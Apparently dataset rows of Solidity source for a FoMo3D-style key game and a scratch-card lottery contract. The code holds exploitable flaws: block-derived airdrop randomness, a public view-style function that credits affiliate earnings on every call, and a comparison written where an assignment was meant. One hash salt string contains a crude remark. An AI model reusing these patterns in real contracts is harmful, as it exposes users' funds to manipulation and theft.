{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
buyCore(_pID, _affCode, _eventData_);
}
function buyXaddr(address _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
LDdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _eventData_);
}
function buyXname(bytes32 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
LDdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
LDdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
reLoadCore(_pID, _affCode, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
LDdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
LDdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
uint256 _aff = 0;
if(shareAddr_[plyr_[_pID].addr] != 0) {
uint _days = (now - shareAddr_[plyr_[_pID].addr]) / (24*3600) + 1;
_aff = _days * plyrRnds_[round_.index][_pID].eth / 20;
}
if (_now > round_.end && round_.ended == false && round_.plyr != 0)
{
LDdatasets.EventReturns memory _eventData_;
round_.ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
_eth = _aff.add(_eth);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
withdrawAddr_[plyr_[_pID].addr] = 1;
shareAddr_[plyr_[_pID].addr] = 0;
round_.pot = round_.pot - _aff;
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit LDEvents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
_eth = _aff.add(_eth);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
withdrawAddr_[plyr_[_pID].addr] = 1;
shareAddr_[plyr_[_pID].addr] = 0;
round_.pot = round_.pot - _aff;
emit LDEvents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit LDEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit LDEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit LDEvents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _now = now;
if (round_.pot > 0 && _now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
return ( (round_.pot / 10000) );
else
return ( 1000000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _now = now;
if (_now < round_.end)
if (_now > round_.strt + rndGap_)
return( (round_.end).sub(_now) );
else
return( (round_.strt + rndGap_).sub(_now));
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
if (now > round_.end && round_.ended == false && round_.plyr != 0)
{
if (round_.plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_.pot).mul(100)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID).sub(plyrRnds_[round_.index][_pID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID).sub(plyrRnds_[round_.index][_pID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID)
private
view
returns(uint256)
{
return( ((((round_.mask).add(((((round_.pot).mul(potSplit_)) / 100).mul(1000000000000000000)) / (round_.keys))).mul(plyrRnds_[round_.index][_pID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, bool)
{
return
(
round_.keys,
round_.end,
round_.strt,
round_.pot,
round_.plyr,
plyr_[round_.plyr].addr,
plyr_[round_.plyr].name,
airDropTracker_,
airDropPot_,
round_.index,
round_.ended
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
if(shareAddr_[plyr_[_pID].addr] != 0) {
uint256 _aff = 0;
uint _days = (now - shareAddr_[plyr_[_pID].addr]) / (24*3600) + 1;
_aff = _days * plyrRnds_[round_.index][_pID].eth / 20;
plyr_[_pID].aff = _aff.add(plyr_[_pID].aff);
emit LDEvents.onAffiliatePayout(_pID, plyr_[_pID].addr, plyr_[_pID].name, _pID, _aff, now);
}
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[round_.index][_pID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID)),
plyr_[_pID].aff,
plyrRnds_[round_.index][_pID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, LDdatasets.EventReturns memory _eventData_)
private
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
{
core(_pID, msg.value, _affID, _eventData_);
} else {
if (_now > round_.end && round_.ended == false)
{
round_.ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit LDEvents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
withdrawAddr_[plyr_[_pID].addr] = 0;
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _eth, LDdatasets.EventReturns memory _eventData_)
private
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_pID, _eth, _affID, _eventData_);
} else if (_now > round_.end && round_.ended == false) {
round_.ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit LDEvents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
}
}
function core(uint256 _pID, uint256 _eth, uint256 _affID, LDdatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[round_.index][_pID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_.eth < 100000000000000000000 && plyrRnds_[round_.index][_pID].eth.add(_eth) > 10000000000000000000)
{
uint256 _availableLimit = (10000000000000000000).sub(plyrRnds_[round_.index][_pID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_.eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys);
if (round_.plyr != _pID)
round_.plyr = _pID;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 100000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[round_.index][_pID].keys = _keys.add(plyrRnds_[round_.index][_pID].keys);
plyrRnds_[round_.index][_pID].eth = _eth.add(plyrRnds_[round_.index][_pID].eth);
round_.keys = _keys.add(round_.keys);
round_.eth = _eth.add(round_.eth);
_eventData_ = distributeExternal(_pID, _eth, _affID, _eventData_);
_eventData_ = distributeInternal(_pID, _eth, _keys, _eventData_);
endTx(_pID, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID)
private
view
returns(uint256)
{
return((((round_.mask).mul(plyrRnds_[round_.index][_pID].keys)) / (1000000000000000000)).sub(plyrRnds_[round_.index][_pID].mask));
}
function calcKeysReceived(uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
return ( (round_.eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0)))
return ( (round_.keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "only PlayerBook can call this function");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "only PlayerBook can call this function");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(LDdatasets.EventReturns memory _eventData_)
private
returns (LDdatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function managePlayer(uint256 _pID, LDdatasets.EventReturns memory _eventData_)
private
returns (LDdatasets.EventReturns)
{
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(LDdatasets.EventReturns memory _eventData_)
private
returns (LDdatasets.EventReturns)
{
uint256 _winPID = round_.plyr;
uint256 _pot = round_.pot + airDropPot_;
uint256 _win = (_pot.mul(100)) / 100;
uint256 _com = 0;
uint256 _gen = (_pot.mul(potSplit_)) / 100;
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_.keys);
uint256 _dust = _gen.sub((_ppt.mul(round_.keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_com = _com.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
if (!address(DogKingCorp).call.value(_com)(bytes4(keccak256("deposit()"))))
{
_gen = _gen.add(_com);
_com = 0;
}
round_.mask = _ppt.add(round_.mask);
activated_ = false;
_eventData_.compressedData = _eventData_.compressedData + (round_.end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.newPot = 0;
return(_eventData_);
}
function updateGenVault(uint256 _pID)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[round_.index][_pID].mask = _earnings.add(plyrRnds_[round_.index][_pID].mask);
}
}
function updateTimer(uint256 _keys)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_.end && round_.plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_.end);
if (_newTime < (rndMax_).add(_now))
round_.end = _newTime;
else
round_.end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _pID, uint256 _eth, uint256 _affID, LDdatasets.EventReturns memory _eventData_)
private
returns(LDdatasets.EventReturns)
{
uint256 _com = _eth * 30 / 100;
if (_affID != _pID && plyr_[_affID].name != '' && withdrawAddr_[plyr_[_affID].addr] != 1 && shareAddr_[plyr_[_affID].addr] == 0) {
shareAddr_[plyr_[_affID].addr] = now;
}
if (!address(DogKingCorp).call.value(_com)(bytes4(keccak256("deposit()"))))
{
}
return(_eventData_);
}
function distributeInternal(uint256 _pID, uint256 _eth, uint256 _keys, LDdatasets.EventReturns memory _eventData_)
private
returns(LDdatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_)) / 100;
uint256 _air = 0;
airDropPot_ = airDropPot_.add(_air);
uint256 _pot = (_eth.mul(70) / 100);
uint256 _dust = updateMasks(_pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_.pot = _pot.add(_dust).add(round_.pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_.keys);
round_.mask = _ppt.add(round_.mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[round_.index][_pID].mask = (((round_.mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[round_.index][_pID].mask);
return(_gen.sub((_ppt.mul(round_.keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _eth, uint256 _keys, LDdatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit LDEvents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
function activate()
public
{
require(
msg.sender == 0xa2d917811698d92D7FF80ed988775F274a51b435 || msg.sender == 0x7478742fFB2f1082D4c8F2039aF4161F97B3Bc2a,
"only owner can activate"
);
activated_ = true;
round_.strt = now - rndGap_;
round_.end = now + rndInit_;
round_.pot = 0;
round_.eth = 0;
round_.keys = 0;
round_.ended = false;
round_.index = round_.index + 1;
}
}
library LDdatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
}
struct Round {
uint256 plyr;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 index;
}
}
library LDKeysCalc {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface DogInterfaceForForwarder {
function deposit() external payable returns(bool);
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
} | 0 | 1,551 |
pragma solidity ^0.4.16;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract JungleScratch is Owned {
using SafeMath for uint;
uint public LimitBottom = 0.02 ether;
uint public LimitTop = 0.1 ether;
address public Drawer;
struct Game {
bytes32 SecretKey_P;
bool isPlay;
bool isPay;
uint Result;
uint Time;
address Buyer;
uint value;
}
mapping (bytes32 => Game) public TicketPool;
event SubmitTicket(bytes32 indexed SecretKey_D_hash, uint Bet_amount,bytes32 SecretKey_P, address Player);
event Result(bytes32 SecretKey_D_hash, bytes32 SecretKey_D,address Buyer, uint[] Bird_Result, uint Game_Result, uint time);
event Pay(bytes32 indexed SecretKey_D_hash, address indexed Buyer, uint Game_Result);
event Owe(bytes32 indexed SecretKey_D_hash, address indexed Buyer, uint Game_Result);
event OwePay(bytes32 indexed SecretKey_D_hash, address indexed Buyer, uint Game_Result);
function JungleScratch (address drawer_) public {
Drawer = drawer_;
}
function submit(bytes32 secretKey_P, bytes32 secretKey_D_hash) payable public {
require(msg.value == 0.02 ether || msg.value == 0.04 ether || msg.value == 0.06 ether || msg.value == 0.08 ether || msg.value == 0.1 ether);
require(TicketPool[secretKey_D_hash].Time == 0);
require(msg.value >= LimitBottom && msg.value <= LimitTop);
uint check = msg.value.div(20000000000000000);
require(check == 1 || check == 2 || check == 3 || check == 4 || check == 5);
SubmitTicket(secretKey_D_hash, msg.value, secretKey_P, msg.sender);
TicketPool[secretKey_D_hash] = Game(secretKey_P,false,false,0,block.timestamp,msg.sender,msg.value);
}
function award(bytes32 secretKey_D) public {
require(Drawer == msg.sender);
bytes32 secretKey_D_hash = keccak256(secretKey_D);
Game local_ = TicketPool[secretKey_D_hash];
require(local_.Time != 0 && !local_.isPlay);
uint game_result = 0;
uint[] memory RandomResult = new uint[](9);
RandomResult[0] = uint(keccak256("Pig World is an AWESOME team",secretKey_D,'a',local_.SecretKey_P)) % 1000 + 1;
RandomResult[1] = uint(keccak256(local_.SecretKey_P,"Every Game in our world is provably fair",secretKey_D,'b')) % 1000 + 1;
RandomResult[2] = uint(keccak256('c',secretKey_D,"OMG it is a revolution dapp",local_.SecretKey_P)) % 1000 + 1;
RandomResult[3] = uint(keccak256(secretKey_D,"hahahaha",local_.SecretKey_P,'d',"thanks for our team member and all player support.")) % 1000 + 1;
RandomResult[4] = uint(keccak256("CC is our CEO",secretKey_D,"he can eat Betel nut",local_.SecretKey_P,'e')) % 1000 + 1;
RandomResult[5] = uint(keccak256(20180612,"justin is our researcher",secretKey_D,"and he love little girl(at least 18, so it is ok)",local_.SecretKey_P,'f')) % 1000 + 1;
RandomResult[6] = uint(keccak256("jeremy is our marketing",secretKey_D,'g',local_.SecretKey_P,"he is very humble and serious")) % 1000 + 1;
RandomResult[7] = uint(keccak256('h',secretKey_D,"We are a geek team",local_.SecretKey_P,"we love blockchain")) % 1000 + 1;
RandomResult[8] = uint(keccak256(secretKey_D,"hope you win a big prize",local_.SecretKey_P,"love you all!!!",'i')) % 1000 + 1;
for (uint n = 0; n < 9; n++) {
if(RandomResult[n]< 81){
RandomResult[n] = 0;
} else if(RandomResult[n]< 168){
RandomResult[n] = 1;
} else if(RandomResult[n]< 266){
RandomResult[n] = 2;
} else if(RandomResult[n]< 381){
RandomResult[n] = 3;
} else if(RandomResult[n]< 535){
RandomResult[n] = 4;
} else if(RandomResult[n]< 749){
RandomResult[n] = 5;
} else if(RandomResult[n]< 1001){
RandomResult[n] = 6;
}
}
for(uint nn = 0; nn < 6; nn++){
uint count = 0;
for(uint p = 0; p < 9; p++){
if(RandomResult[p] == nn)
count ++;
}
if(count >= 3 && nn == 0)
game_result = game_result.add(TicketPool[secretKey_D_hash].value.div(20000000000000000).mul(0.1 ether));
if(count >= 3 && nn == 1)
game_result = game_result.add(TicketPool[secretKey_D_hash].value.div(20000000000000000).mul(0.08 ether));
if(count >= 3 && nn == 2)
game_result = game_result.add(TicketPool[secretKey_D_hash].value.div(20000000000000000).mul(0.06 ether));
if(count >= 3 && nn == 3)
game_result = game_result.add(TicketPool[secretKey_D_hash].value.div(20000000000000000).mul(0.04 ether));
if(count >= 3 && nn == 4)
game_result = game_result.add(TicketPool[secretKey_D_hash].value.div(20000000000000000).mul(0.02 ether));
if(count >= 3 && nn == 5)
game_result = game_result.add(TicketPool[secretKey_D_hash].value.div(20000000000000000).mul(0.01 ether));
}
if(game_result != 0){
TicketPool[secretKey_D_hash].Result = game_result;
if (address(this).balance >= game_result && TicketPool[secretKey_D_hash].Buyer.send(game_result)) {
TicketPool[secretKey_D_hash].isPay = true;
Pay(secretKey_D_hash,TicketPool[secretKey_D_hash].Buyer, game_result);
} else {
Owe(secretKey_D_hash, TicketPool[secretKey_D_hash].Buyer, game_result);
TicketPool[secretKey_D_hash].isPay = false;
}
} else {
TicketPool[secretKey_D_hash].isPay = true;
}
Result(secretKey_D_hash, secretKey_D, TicketPool[secretKey_D_hash].Buyer, RandomResult, game_result, block.timestamp);
TicketPool[secretKey_D_hash].isPlay = true;
}
function () public payable {
}
function withdraw(uint withdrawEther_) public onlyOwner {
msg.sender.transfer(withdrawEther_);
}
function changeLimit(uint _bottom, uint _top) public onlyOwner {
LimitBottom = _bottom;
LimitTop = _top;
}
function changeDrawer(address drawer_) public onlyOwner {
Drawer = drawer_;
}
function getisPlay(bytes32 secretKey_D_hash) public constant returns (bool isplay){
return TicketPool[secretKey_D_hash].isPlay;
}
function getTicketTime(bytes32 secretKey_D_hash) public constant returns (uint Time){
return TicketPool[secretKey_D_hash].Time;
}
